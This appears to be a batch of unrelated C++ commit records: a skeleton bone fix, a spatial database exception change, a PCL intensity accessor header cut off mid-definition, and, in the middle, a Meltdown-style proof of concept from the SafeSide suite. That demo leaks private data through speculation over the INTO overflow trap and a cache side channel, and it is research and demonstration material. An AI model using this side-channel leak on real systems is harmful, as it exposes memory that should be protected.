<commit_before>//https://code.google.com/p/nya-engine/

#include "skeleton.h"
#include "math/constants.h"

namespace nya_render
{

int skeleton::add_bone(const char *name,const nya_math::vec3 &pos,int parent)
{
    if(!name)
        return -1;

    if(parent>=(int)m_bones.size())
        return -1;

    index_map::const_iterator it=m_bones_map.find(name);
    if(it!=m_bones_map.end())
        return it->second;

    int bone_idx=(int)m_bones.size();
    m_bones_map[name]=bone_idx;
    m_bones.resize(bone_idx+1);
    m_pos_tr.resize(bone_idx+1);
    m_rot_tr.resize(bone_idx+1);

    bone &b=m_bones[bone_idx];
    b.pos_org=pos;
    b.parent=parent;

    if(parent>=0)
    {
        const bone &p=m_bones[b.parent];
        b.offset=b.pos_org-p.pos_org;
    }
    else
        b.offset=pos;

    return bone_idx;
}

int skeleton::get_bone_idx(const char *name) const
{
    if(!name)
        return -1;

    index_map::const_iterator it=m_bones_map.find(name);
    if(it==m_bones_map.end())
        return -1;

    return (int)it->second;
}

nya_math::vec3 skeleton::get_bone_pos(int idx) const
{
    if(idx<0 || idx>=(int)m_bones.size())
        return nya_math::vec3();

    return m_bones[idx].pos;
}

nya_math::quat skeleton::get_bone_rot(int idx) const
{
    if(idx<0 || idx>=(int)m_bones.size())
        return nya_math::vec3();

    return m_bones[idx].rot;
}

int skeleton::add_ik(int target_bone_idx,int effect_bone_idx,int count,float fact)
{
    if(target_bone_idx<0 || target_bone_idx>=(int)m_bones.size())
        return -1;

    if(effect_bone_idx<0 || effect_bone_idx>=(int)m_bones.size())
        return -1;

    int ik_idx=(int)m_iks.size();
    m_iks.resize(ik_idx+1);

    ik &k=m_iks[ik_idx];
    k.target=target_bone_idx;
    k.eff=effect_bone_idx;
    k.count=count;
    k.fact=fact;

    return ik_idx;
}

void skeleton::add_ik_link(int ik_idx,int bone_idx,bool limit_angle)
{
    if(ik_idx<0 || ik_idx>=(int)m_iks.size())
        return;

    if(bone_idx<0 || bone_idx>=(int)m_bones.size())
        return;

    ik &k=m_iks[ik_idx];
    k.links.resize(k.links.size()+1);
    k.links.back().idx=bone_idx;
    k.links.back().limit=limit_angle;
}

void skeleton::set_bone_transform(int bone_idx,const nya_math::vec3 &pos,const nya_math::quat &rot)
{
    if(bone_idx<0 || bone_idx>=(int)m_bones.size())
        return;

    bone &b=m_bones[bone_idx];
    b.pos=pos;
    b.rot=rot;
}

void skeleton::update_bone(int idx)
{
    bone &b=m_bones[idx];
    if(b.parent<=0)
    {
        m_pos_tr[idx]=b.pos+b.offset;
        m_rot_tr[idx]=b.rot;
        return;
    }

    m_pos_tr[idx]=m_pos_tr[b.parent] + m_rot_tr[b.parent].rotate(b.pos+b.offset);
    m_rot_tr[idx]=b.rot*m_rot_tr[b.parent];
}

void skeleton::update()
{
    for(int i=0;i<(int)m_bones.size();++i)
        update_bone(i);

    for(int i=0;i<(int)m_iks.size();++i)
    {
        const ik &k=m_iks[i];
        const nya_math::vec3 target_pos_org=m_pos_tr[k.target];

        for(int j=0;j<k.count;++j)
        {
            for(int l=0;l<(int)k.links.size();++l)
            {
                const int lnk_idx=k.links[l].idx;
                bone &lnk=m_bones[lnk_idx];

                nya_math::vec3 target_pos=
                m_rot_tr[lnk_idx].rotate_inv(target_pos_org-m_pos_tr[lnk_idx]);

                nya_math::vec3 eff_pos=
                m_rot_tr[lnk_idx].rotate_inv(m_pos_tr[k.eff]-m_pos_tr[lnk_idx]);

                const float eps=0.00001f;

                const nya_math::vec3 diff=eff_pos-target_pos;
                if(diff*diff<eps)
                    return;

                eff_pos.normalize();
                target_pos.normalize();

                float ang=acosf(eff_pos*target_pos);
                if(fabsf(ang)<eps)
                    continue;

                if(ang< -k.fact)
                    ang= -k.fact;
                else if(ang>k.fact)
                    ang=k.fact;

                nya_math::vec3 axis=nya_math::vec3::cross(eff_pos,target_pos);
                if(axis*axis<eps)
                    continue;

                axis.normalize();

                nya_math::quat rot(axis,ang);

                if(k.links[l].limit)
					rot.limit_angle(-nya_math::constants::pi,-0.002f);

                rot.normalize();

                lnk.rot=lnk.rot*rot;
                lnk.rot.normalize();

                for(int m=l;m>=0;--m)
                    update_bone(k.links[m].idx);

                update_bone(k.eff);
            }
        }
    }
}

nya_math::vec3 skeleton::transform(int bone_idx,nya_math::vec3 point) const
{
    if(bone_idx<0 || bone_idx>=(int)m_bones.size())
        return nya_math::vec3();

    return m_pos_tr[bone_idx]+m_rot_tr[bone_idx].rotate(point-m_bones[bone_idx].pos_org);
}

float *skeleton::get_pos_buffer()
{
    if(m_pos_tr.empty())
        return 0;

    return &m_pos_tr[0].x;
}

float *skeleton::get_rot_buffer()
{
    if(m_rot_tr.empty())
        return 0;

    return &m_rot_tr[0].v.x;
}

}
<commit_msg>skeleton initial bone pos fix<commit_after>//https://code.google.com/p/nya-engine/

#include "skeleton.h"
#include "math/constants.h"

namespace nya_render
{

int skeleton::add_bone(const char *name,const nya_math::vec3 &pos,int parent)
{
    if(!name)
        return -1;

    if(parent>=(int)m_bones.size())
        return -1;

    index_map::const_iterator it=m_bones_map.find(name);
    if(it!=m_bones_map.end())
        return it->second;

    int bone_idx=(int)m_bones.size();
    m_bones_map[name]=bone_idx;
    m_bones.resize(bone_idx+1);
    m_pos_tr.resize(bone_idx+1);
    m_rot_tr.resize(bone_idx+1);

    bone &b=m_bones[bone_idx];
    b.pos=b.pos_org=pos;
    b.parent=parent;

    if(parent>=0)
    {
        const bone &p=m_bones[b.parent];
        b.offset=b.pos_org-p.pos_org;
    }
    else
        b.offset=pos;

    update_bone(bone_idx);

    return bone_idx;
}

int skeleton::get_bone_idx(const char *name) const
{
    if(!name)
        return -1;

    index_map::const_iterator it=m_bones_map.find(name);
    if(it==m_bones_map.end())
        return -1;

    return (int)it->second;
}

nya_math::vec3 skeleton::get_bone_pos(int idx) const
{
    if(idx<0 || idx>=(int)m_bones.size())
        return nya_math::vec3();

    return m_bones[idx].pos;
}

nya_math::quat skeleton::get_bone_rot(int idx) const
{
    if(idx<0 || idx>=(int)m_bones.size())
        return nya_math::vec3();

    return m_bones[idx].rot;
}

int skeleton::add_ik(int target_bone_idx,int effect_bone_idx,int count,float fact)
{
    if(target_bone_idx<0 || target_bone_idx>=(int)m_bones.size())
        return -1;

    if(effect_bone_idx<0 || effect_bone_idx>=(int)m_bones.size())
        return -1;

    int ik_idx=(int)m_iks.size();
    m_iks.resize(ik_idx+1);

    ik &k=m_iks[ik_idx];
    k.target=target_bone_idx;
    k.eff=effect_bone_idx;
    k.count=count;
    k.fact=fact;

    return ik_idx;
}

void skeleton::add_ik_link(int ik_idx,int bone_idx,bool limit_angle)
{
    if(ik_idx<0 || ik_idx>=(int)m_iks.size())
        return;

    if(bone_idx<0 || bone_idx>=(int)m_bones.size())
        return;

    ik &k=m_iks[ik_idx];
    k.links.resize(k.links.size()+1);
    k.links.back().idx=bone_idx;
    k.links.back().limit=limit_angle;
}

void skeleton::set_bone_transform(int bone_idx,const nya_math::vec3 &pos,const nya_math::quat &rot)
{
    if(bone_idx<0 || bone_idx>=(int)m_bones.size())
        return;

    bone &b=m_bones[bone_idx];
    b.pos=pos;
    b.rot=rot;
}

void skeleton::update_bone(int idx)
{
    bone &b=m_bones[idx];
    if(b.parent<=0)
    {
        m_pos_tr[idx]=b.pos+b.offset;
        m_rot_tr[idx]=b.rot;
        return;
    }

    m_pos_tr[idx]=m_pos_tr[b.parent] + m_rot_tr[b.parent].rotate(b.pos+b.offset);
    m_rot_tr[idx]=b.rot*m_rot_tr[b.parent];
}

void skeleton::update()
{
    for(int i=0;i<(int)m_bones.size();++i)
        update_bone(i);

    for(int i=0;i<(int)m_iks.size();++i)
    {
        const ik &k=m_iks[i];
        const nya_math::vec3 target_pos_org=m_pos_tr[k.target];

        for(int j=0;j<k.count;++j)
        {
            for(int l=0;l<(int)k.links.size();++l)
            {
                const int lnk_idx=k.links[l].idx;
                bone &lnk=m_bones[lnk_idx];

                nya_math::vec3 target_pos=
                m_rot_tr[lnk_idx].rotate_inv(target_pos_org-m_pos_tr[lnk_idx]);

                nya_math::vec3 eff_pos=
                m_rot_tr[lnk_idx].rotate_inv(m_pos_tr[k.eff]-m_pos_tr[lnk_idx]);

                const float eps=0.00001f;

                const nya_math::vec3 diff=eff_pos-target_pos;
                if(diff*diff<eps)
                    return;

                eff_pos.normalize();
                target_pos.normalize();

                float ang=acosf(eff_pos*target_pos);
                if(fabsf(ang)<eps)
                    continue;

                if(ang< -k.fact)
                    ang= -k.fact;
                else if(ang>k.fact)
                    ang=k.fact;

                nya_math::vec3 axis=nya_math::vec3::cross(eff_pos,target_pos);
                if(axis*axis<eps)
                    continue;

                axis.normalize();

                nya_math::quat rot(axis,ang);

                if(k.links[l].limit)
					rot.limit_angle(-nya_math::constants::pi,-0.002f);

                rot.normalize();

                lnk.rot=lnk.rot*rot;
                lnk.rot.normalize();

                for(int m=l;m>=0;--m)
                    update_bone(k.links[m].idx);

                update_bone(k.eff);
            }
        }
    }
}

nya_math::vec3 skeleton::transform(int bone_idx,nya_math::vec3 point) const
{
    if(bone_idx<0 || bone_idx>=(int)m_bones.size())
        return nya_math::vec3();

    return m_pos_tr[bone_idx]+m_rot_tr[bone_idx].rotate(point-m_bones[bone_idx].pos_org);
}

float *skeleton::get_pos_buffer()
{
    if(m_pos_tr.empty())
        return 0;

    return &m_pos_tr[0].x;
}

float *skeleton::get_rot_buffer()
{
    if(m_rot_tr.empty())
        return 0;

    return &m_rot_tr[0].v.x;
}

}
<|endoftext|>


<commit_before><commit_msg>Vulkan: Don't modify mReadOnlyDepthStencilMode in syncState()<commit_after><|endoftext|>


<commit_before><commit_msg>PTA llvm: reset dangling pointer<commit_after><|endoftext|>


<commit_before>/*
 * Copyright 2019 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *   https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * Demonstrates speculation over the overflow trap (#OF) on IA32 CPUs.
 * Since the overflow trap can be invoked only by the INTO instruction and that
 * instruction opcode exists only on IA32, this vulnerability cannot be
 * demonstrated on X64 or AMD64.
 * We cause the overflow trap by making the OF flag in EFLAGS being set.
 * Afterwards we yield the INTO instruction and fetch from the address. Even
 * though the INTO instruction triggers OF (which is ensured by the dead code
 * guard), the next load is speculatively performed.
 **/

#include "compiler_specifics.h"

#if !SAFESIDE_LINUX && !SAFESIDE_MAC
#  error Unsupported OS. Linux or MacOS required.
#endif

#if !SAFESIDE_IA32
#  error Unsupported architecture. IA32 required.
#endif

#include <array>
#include <climits>
#include <cstring>
#include <iostream>

#include <signal.h>

#include "cache_sidechannel.h"
#include "instr.h"
#include "meltdown_local_content.h"
#include "local_content.h"

static char LeakByte(const char *data, size_t offset) {
  CacheSideChannel sidechannel;
  const std::array<BigByte, 256> &oracle = sidechannel.GetOracle();

  for (int run = 0;; ++run) {
    size_t safe_offset = run % strlen(data);
    sidechannel.FlushOracle();

    for (int i = 0; i < 1000; ++i) {
      const char *safe_address = reinterpret_cast<const char *>(oracle.data() +
          static_cast<uint8_t>(data[safe_offset]));

      // Succeeds.
      SupposedlySafeOffsetAndDereference(safe_address, 0);

      const char *unsafe_address = reinterpret_cast<const char *>(
          oracle.data() + static_cast<uint8_t>(data[offset]));

      bool firstbit = reinterpret_cast<ptrdiff_t>(unsafe_address) & 0x80000000;
      int shift = INT_MAX - 2 * firstbit * INT_MAX;
      // This crashes by the OF trap being raised.
      SupposedlySafeOffsetAndDereference(unsafe_address + shift, -shift);

      std::cout << "Dead code. Must not be printed." << std::endl;

      // The exit call must not be unconditional, otherwise clang would
      // optimize out everything that follows it and the linking would fail.
      if (strlen(public_data) != 0) {
        exit(EXIT_FAILURE);
      }

      // SIGSEGV signal handler moves the instruction pointer to this label.
#if SAFESIDE_LINUX
      asm volatile("afterspeculation:");
#elif SAFESIDE_MAC
      asm volatile("_afterspeculation:");
#else
#  error Unsupported OS.
#endif
    }

    std::pair<bool, char> result =
        sidechannel.RecomputeScores(data[safe_offset]);

    if (result.first) {
      return result.second;
    }

    if (run > 100000) {
      std::cerr << "Does not converge " << result.second << std::endl;
      exit(EXIT_FAILURE);
    }
  }
}

int main() {
#if SAFESIDE_LINUX
  OnSignalMoveRipToAfterspeculation(SIGSEGV);
#elif SAFESIDE_MAC
  OnSignalMoveRipToAfterspeculation(SIGFPE);
#else
#  error Unsupported OS.
#endif
  std::cout << "Leaking the string: ";
  std::cout.flush();
  const size_t private_offset = private_data - public_data;
  for (size_t i = 0; i < strlen(private_data); ++i) {
    std::cout << LeakByte(public_data, private_offset + i);
    std::cout.flush();
  }
  std::cout << "\nDone!\n";
}
<commit_msg>De-flake the Meltdown-OF on Intel. (#104)<commit_after>/*
 * Copyright 2019 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *   https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * Demonstrates speculation over the overflow trap (#OF) on IA32 CPUs.
 * Since the overflow trap can be invoked only by the INTO instruction and that
 * instruction opcode exists only on IA32, this vulnerability cannot be
 * demonstrated on X64 or AMD64.
 * We cause the overflow trap by making the OF flag in EFLAGS being set.
 * Afterwards we yield the INTO instruction and fetch from the address. Even
 * though the INTO instruction triggers OF (which is ensured by the dead code
 * guard), the next load is speculatively performed.
 **/

#include "compiler_specifics.h"

#if !SAFESIDE_LINUX && !SAFESIDE_MAC
#  error Unsupported OS. Linux or MacOS required.
#endif

#if !SAFESIDE_IA32
#  error Unsupported architecture. IA32 required.
#endif

#include <array>
#include <climits>
#include <cstring>
#include <iostream>

#include <signal.h>

#include "cache_sidechannel.h"
#include "instr.h"
#include "meltdown_local_content.h"
#include "local_content.h"

static char LeakByte(const char *data, size_t offset) {
  CacheSideChannel sidechannel;
  const std::array<BigByte, 256> &oracle = sidechannel.GetOracle();

  for (int run = 0;; ++run) {
    size_t safe_offset = run % strlen(data);
    sidechannel.FlushOracle();

    for (int i = 0; i < 1000; ++i) {
      const char *safe_address = reinterpret_cast<const char *>(oracle.data() +
          static_cast<uint8_t>(data[safe_offset]));

      // Succeeds.
      SupposedlySafeOffsetAndDereference(safe_address, 0);

      const char *unsafe_address = reinterpret_cast<const char *>(
          oracle.data() + static_cast<uint8_t>(data[offset]));

      bool firstbit = reinterpret_cast<ptrdiff_t>(unsafe_address) & 0x80000000;
      int shift = INT_MAX - 2 * firstbit * INT_MAX;
      // This crashes by the OF trap being raised.
      SupposedlySafeOffsetAndDereference(unsafe_address + shift, -shift);

      std::cout << "Dead code. Must not be printed." << std::endl;

      // The exit call must not be unconditional, otherwise clang would
      // optimize out everything that follows it and the linking would fail.
      if (strlen(public_data) != 0) {
        exit(EXIT_FAILURE);
      }

      // SIGSEGV signal handler moves the instruction pointer to this label.
#if SAFESIDE_LINUX
      asm volatile("afterspeculation:");
#elif SAFESIDE_MAC
      asm volatile("_afterspeculation:");
#else
#  error Unsupported OS.
#endif
    }

    std::pair<bool, char> result =
        sidechannel.RecomputeScores(data[safe_offset]);

    if (result.first) {
      return result.second;
    }

    if (run > 100000000) {
      std::cerr << "Does not converge " << result.second << std::endl;
      exit(EXIT_FAILURE);
    }
  }
}

int main() {
#if SAFESIDE_LINUX
  OnSignalMoveRipToAfterspeculation(SIGSEGV);
#elif SAFESIDE_MAC
  OnSignalMoveRipToAfterspeculation(SIGFPE);
#else
#  error Unsupported OS.
#endif
  std::cout << "On Intel this example might take many hours." << std::endl
            << "First character should be leaked within two hours." << std::endl
            << "On AMD this example should take about 1 second." << std::endl;
  std::cout << "Leaking the string: ";
  std::cout.flush();
  const size_t private_offset = private_data - public_data;
  for (size_t i = 0; i < strlen(private_data); ++i) {
    std::cout << LeakByte(public_data, private_offset + i);
    std::cout.flush();
  }
  std::cout << "\nDone!\n";
}
<|endoftext|>


<commit_before>// -*- C++ -*-
//
// ----------------------------------------------------------------------
//
//                           Brad T. Aagaard
//                        U.S. Geological Survey
//
// <LicenseText>
//
// ----------------------------------------------------------------------
//

#include <portinfo>

#include "SpatialDB.h" // ISA SpatialDB object
#include "SimpleDB.h" // Implementation of class methods

#include "SimpleIO.h" // USES SimpleIO
#include "SimpleDBQuery.h" // USES SimpleDBQuery
#include "SimpleDBTypes.h" // USES SimpleDBTypes

#include "spatialdata/geocoords/CoordSys.h" // USES CoordSys

#include <stdexcept> // USES std::runtime_error
#include "Exception.h" // USES OutOfBounds
#include <sstream> // USES std::ostringsgream

#if defined(HAVE_PYTHIA)
#include "journal/firewall.h" // USES FIREWALL
#include "pythiautil/FireWallUtil.h" // USES FIREWALL
#else
#include <assert.h>
#define FIREWALL assert
#endif

// ----------------------------------------------------------------------
/// Default constructor
spatialdata::spatialdb::SimpleDB::SimpleDB(void) :
  _pIOHandler(0),
  _pQuery(0),
  _pData(0),
  _pCS(0)
{ // constructor
} // constructor

// ----------------------------------------------------------------------
/// Constructor with label
spatialdata::spatialdb::SimpleDB::SimpleDB(const char* label) :
  SpatialDB(label),
  _pIOHandler(0),
  _pQuery(0),
  _pData(0),
  _pCS(0)
{ // constructor
} // constructor

// ----------------------------------------------------------------------
/// Default destructor
spatialdata::spatialdb::SimpleDB::~SimpleDB(void)
{ // destructor
  delete _pQuery; _pQuery = 0;
  if (0 != _pData) {
    delete[] _pData->data; _pData->data = 0;
    delete[] _pData->valNames; _pData->valNames = 0;
    delete[] _pData->valUnits; _pData->valUnits = 0;
  } // if
  delete _pData; _pData = 0;
  delete _pIOHandler; _pIOHandler = 0;

  delete _pCS; _pCS = 0;
} // destructor

// ----------------------------------------------------------------------
/// Open the database and prepare for querying.
void
spatialdata::spatialdb::SimpleDB::open(void)
{ // open
  FIREWALL(0 != _pIOHandler);

  // Read data
  if (0 == _pData) {
    _pData = new DataStruct;
    _pData->data = 0;
    _pData->valNames = 0;
    _pData->valUnits = 0;
    _pIOHandler->read(_pData, &_pCS);
  } // if

  // Create query object
  if (0 == _pQuery)
    _pQuery = new SimpleDBQuery(*this);
} // open

// ----------------------------------------------------------------------
/// Close the database.
void
spatialdata::spatialdb::SimpleDB::close(void)
{ // close
  delete _pQuery; _pQuery = 0;
  delete[] _pData; _pData = 0;
} // close

// ----------------------------------------------------------------------
// Set query type.
void
spatialdata::spatialdb::SimpleDB::queryType(const SimpleDB::QueryEnum queryType)
{ // queryType
  if (0 == _pQuery)
    _pQuery = new SimpleDBQuery(*this);
  _pQuery->queryType(queryType);
} // QueryType

// ----------------------------------------------------------------------
// Set values to be returned by queries.
void
spatialdata::spatialdb::SimpleDB::queryVals(const char** names,
					    const int numVals)
{ // queryVals
  if (0 == _pQuery) {
    std::ostringstream msg;
    msg
      << "Spatial database " << label() << " has not been opened.\n"
      << "Please call Open() before calling QueryVals().";
    throw std::runtime_error(msg.str());
  } // if
  _pQuery->queryVals(names, numVals);
} // queryVals

// ----------------------------------------------------------------------
// Set the I/O handler.
void
spatialdata::spatialdb::SimpleDB::ioHandler(const SimpleIO* iohandler)
{ // ioHandler
  _pIOHandler = iohandler->clone();
} // ioHandler

// ----------------------------------------------------------------------
// Query the database.
int
spatialdata::spatialdb::SimpleDB::query(double** pVals,
					const int numVals,
					const double x,
					const double y,
					const double z,
			      const spatialdata::geocoords::CoordSys* pCSQuery)
{ // query
  try {
    if (0 == _pQuery) {
      std::ostringstream msg;
      msg
	<< "Spatial database " << label() << " has not been opened.\n"
	<< "Please call open() before calling query().";
      throw std::runtime_error(msg.str());
    } // if
    else if (0 == _pData) {
      std::ostringstream msg;
      msg
	<< "Spatial database " << label() << " does not contain any data.\n"
	<< "Database query aborted.";
      throw std::runtime_error(msg.str());
    } // if
    _pQuery->query(pVals, numVals, x, y, z, pCSQuery);
  } catch(const OutOfBounds& err) {
    std::fill(*pVals, *pVals+numVals, 0);
    return 1;
  } // catch
  return 0;
} // query

// version
// $Id: SimpleDB.cc,v 1.1 2005/05/25 18:42:56 baagaard Exp $

// End of file
<commit_msg>Added catches to std::excepetion when setting return value in query.<commit_after>// -*- C++ -*-
//
// ----------------------------------------------------------------------
//
//                           Brad T. Aagaard
//                        U.S. Geological Survey
//
// <LicenseText>
//
// ----------------------------------------------------------------------
//

#include <portinfo>

#include "SpatialDB.h" // ISA SpatialDB object
#include "SimpleDB.h" // Implementation of class methods

#include "SimpleIO.h" // USES SimpleIO
#include "SimpleDBQuery.h" // USES SimpleDBQuery
#include "SimpleDBTypes.h" // USES SimpleDBTypes

#include "spatialdata/geocoords/CoordSys.h" // USES CoordSys

#include <stdexcept> // USES std::runtime_error
#include "Exception.h" // USES OutOfBounds
#include <sstream> // USES std::ostringsgream

#if defined(HAVE_PYTHIA)
#include "journal/firewall.h" // USES FIREWALL
#include "pythiautil/FireWallUtil.h" // USES FIREWALL
#else
#include <assert.h>
#define FIREWALL assert
#endif

// ----------------------------------------------------------------------
/// Default constructor
spatialdata::spatialdb::SimpleDB::SimpleDB(void) :
  _pIOHandler(0),
  _pQuery(0),
  _pData(0),
  _pCS(0)
{ // constructor
} // constructor

// ----------------------------------------------------------------------
/// Constructor with label
spatialdata::spatialdb::SimpleDB::SimpleDB(const char* label) :
  SpatialDB(label),
  _pIOHandler(0),
  _pQuery(0),
  _pData(0),
  _pCS(0)
{ // constructor
} // constructor

// ----------------------------------------------------------------------
/// Default destructor
spatialdata::spatialdb::SimpleDB::~SimpleDB(void)
{ // destructor
  delete _pQuery; _pQuery = 0;
  if (0 != _pData) {
    delete[] _pData->data; _pData->data = 0;
    delete[] _pData->valNames; _pData->valNames = 0;
    delete[] _pData->valUnits; _pData->valUnits = 0;
  } // if
  delete _pData; _pData = 0;
  delete _pIOHandler; _pIOHandler = 0;

  delete _pCS; _pCS = 0;
} // destructor

// ----------------------------------------------------------------------
/// Open the database and prepare for querying.
void
spatialdata::spatialdb::SimpleDB::open(void)
{ // open
  FIREWALL(0 != _pIOHandler);

  // Read data
  if (0 == _pData) {
    _pData = new DataStruct;
    _pData->data = 0;
    _pData->valNames = 0;
    _pData->valUnits = 0;
    _pIOHandler->read(_pData, &_pCS);
  } // if

  // Create query object
  if (0 == _pQuery)
    _pQuery = new SimpleDBQuery(*this);
} // open

// ----------------------------------------------------------------------
/// Close the database.
void
spatialdata::spatialdb::SimpleDB::close(void)
{ // close
  delete _pQuery; _pQuery = 0;
  delete[] _pData; _pData = 0;
} // close

// ----------------------------------------------------------------------
// Set query type.
void
spatialdata::spatialdb::SimpleDB::queryType(const SimpleDB::QueryEnum queryType)
{ // queryType
  if (0 == _pQuery)
    _pQuery = new SimpleDBQuery(*this);
  _pQuery->queryType(queryType);
} // QueryType

// ----------------------------------------------------------------------
// Set values to be returned by queries.
void
spatialdata::spatialdb::SimpleDB::queryVals(const char** names,
					    const int numVals)
{ // queryVals
  if (0 == _pQuery) {
    std::ostringstream msg;
    msg
      << "Spatial database " << label() << " has not been opened.\n"
      << "Please call Open() before calling QueryVals().";
    throw std::runtime_error(msg.str());
  } // if
  _pQuery->queryVals(names, numVals);
} // queryVals

// ----------------------------------------------------------------------
// Set the I/O handler.
void
spatialdata::spatialdb::SimpleDB::ioHandler(const SimpleIO* iohandler)
{ // ioHandler
  _pIOHandler = iohandler->clone();
} // ioHandler

// ----------------------------------------------------------------------
// Query the database.
int
spatialdata::spatialdb::SimpleDB::query(double** pVals,
					const int numVals,
					const double x,
					const double y,
					const double z,
			      const spatialdata::geocoords::CoordSys* pCSQuery)
{ // query
  try {
    if (0 == _pQuery) {
      std::ostringstream msg;
      msg
	<< "Spatial database " << label() << " has not been opened.\n"
	<< "Please call open() before calling query().";
      throw std::runtime_error(msg.str());
    } // if
    else if (0 == _pData) {
      std::ostringstream msg;
      msg
	<< "Spatial database " << label() << " does not contain any data.\n"
	<< "Database query aborted.";
      throw std::runtime_error(msg.str());
    } // if
    _pQuery->query(pVals, numVals, x, y, z, pCSQuery);
  } catch(const OutOfBounds& err) {
    std::fill(*pVals, *pVals+numVals, 0);
    return 1;
  } catch(std::exception& err) {
    throw std::runtime_error(err.what());
  } catch(...) {
    throw std::runtime_error("Unknown error in SpatialDB query");
  } // catch
  return 0;
} // query

// version
// $Id: SimpleDB.cc,v 1.1 2005/05/25 18:42:56 baagaard Exp $

// End of file
<|endoftext|>


<commit_before>/*
 * Software License Agreement (BSD License)
 *
 *  Point Cloud Library (PCL) - www.pointclouds.org
 *  Copyright (c) 2010-2012, Willow Garage, Inc.
 *  Copyright (c) 2012-, Open Perception, Inc.
 *
 *  All rights reserved.
 *
 *  Redistribution and use in source and binary forms, with or without
 *  modification, are permitted provided that the following conditions
 *  are met:
 *
 *   * Redistributions of source code must retain the above copyright
 *     notice, this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above
 *     copyright notice, this list of conditions and the following
 *     disclaimer in the documentation and/or other materials provided
 *     with the distribution.
 *   * Neither the name of the copyright holder(s) nor the names of its
 *     contributors may be used to endorse or promote products derived
 *     from this software without specific prior written permission.
 *
 *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 *  "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 *  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
 *  FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 *  INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 *  BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 *  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
 *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 *  LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 *  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 *  POSSIBILITY OF SUCH DAMAGE.
 *
 * $Id$
 *
 */

#ifndef PCL_COMMON_INTENSITY_FIELD_ACCESSOR_IMPL_HPP
#define PCL_COMMON_INTENSITY_FIELD_ACCESSOR_IMPL_HPP

#include <pcl/point_types.h>
namespace pcl
{
  namespace common
  {
    template<>
    struct IntensityFieldAccessor<pcl::PointNormal>
    {
      inline float
      operator () (const pcl::PointNormal &p) const
      {
        return (p.curvature);
      }

      inline void
      get (const pcl::PointNormal &p, float &intensity) const
      {
        intensity = p.curvature;
      }

      inline void
      set (pcl::PointNormal &p, float intensity) const
      {
        p.curvature = intensity;
      }

      inline void
      demean (pcl::PointNormal& p, float value) const
      {
        p.curvature -= value;
      }

      inline void
      add (pcl::PointNormal& p, float value) const
      {
        p.curvature += value;
      }
    };

    template<>
    struct IntensityFieldAccessor<pcl::PointXYZ>
    {
      inline float
      operator () (const pcl::PointXYZ &p) const
      {
        return (p.z);
      }

      inline void
      get (const pcl::PointXYZ &p, float &intensity) const
      {
        intensity = p.z;
      }

      inline void
      set (pcl::PointXYZ &p, float intensity) const
      {
        p.z = intensity;
      }

      inline void
      demean (pcl::PointXYZ& p, float value) const
      {
        p.z -= value;
      }

      inline void
      add (pcl::PointXYZ& p, float value) const
      {
        p.z += value;
      }
    };

    template<>
    struct IntensityFieldAccessor<pcl::PointXYZRGB>
    {
      inline float
      operator () (const pcl::PointXYZRGB &p) const
      {
        return (static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f);
      }

      inline void
      get (const pcl::PointXYZRGB &p, float& intensity) const
      {
        intensity = static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f;
      }

      inline void
      set (pcl::PointXYZRGB &p, float intensity) const
      {
        p.r = static_cast<uint8_t> (1000 * intensity / 299);
        p.g = static_cast<uint8_t> (1000 * intensity / 587);
        p.b = static_cast<uint8_t> (1000 * intensity / 114);
      }

      inline void
      demean (pcl::PointXYZRGB& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity -= value;
        set (p, intensity);
      }

      inline void
      add (pcl::PointXYZRGB& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity += value;
        set (p, intensity);
      }
    };

    template<>
    struct IntensityFieldAccessor<pcl::PointXYZRGBA>
    {
      inline float
      operator () (const pcl::PointXYZRGBA &p) const
      {
        return (static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f);
      }

      inline void
      get (const pcl::PointXYZRGBA &p, float& intensity) const
      {
        intensity = static_cast<float> (299*p.r + 587*p.g + 114*p.b) / 1000.0f;
      }

      inline void
      set (pcl::PointXYZRGBA &p, float intensity) const
      {
        p.r = static_cast<uint8_t> (1000 * intensity / 299);
        p.g = static_cast<uint8_t> (1000 * intensity / 587);
        p.b = static_cast<uint8_t> (1000 * intensity / 114);
      }

      inline void
      demean (pcl::PointXYZRGBA& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity -= value;
        set (p, intensity);
      }

      inline void
      add (pcl::PointXYZRGBA& p, float value) const
      {
        float intensity = this->operator () (p);
        intensity += value;
        set (p, intensity);
      }
    };

    template<>
    struct IntensityFieldAccessor<pcl::PointXYZRGBL>
    {
      inline float
      operator () (const pcl::PointXYZRGBL &p) const
      {
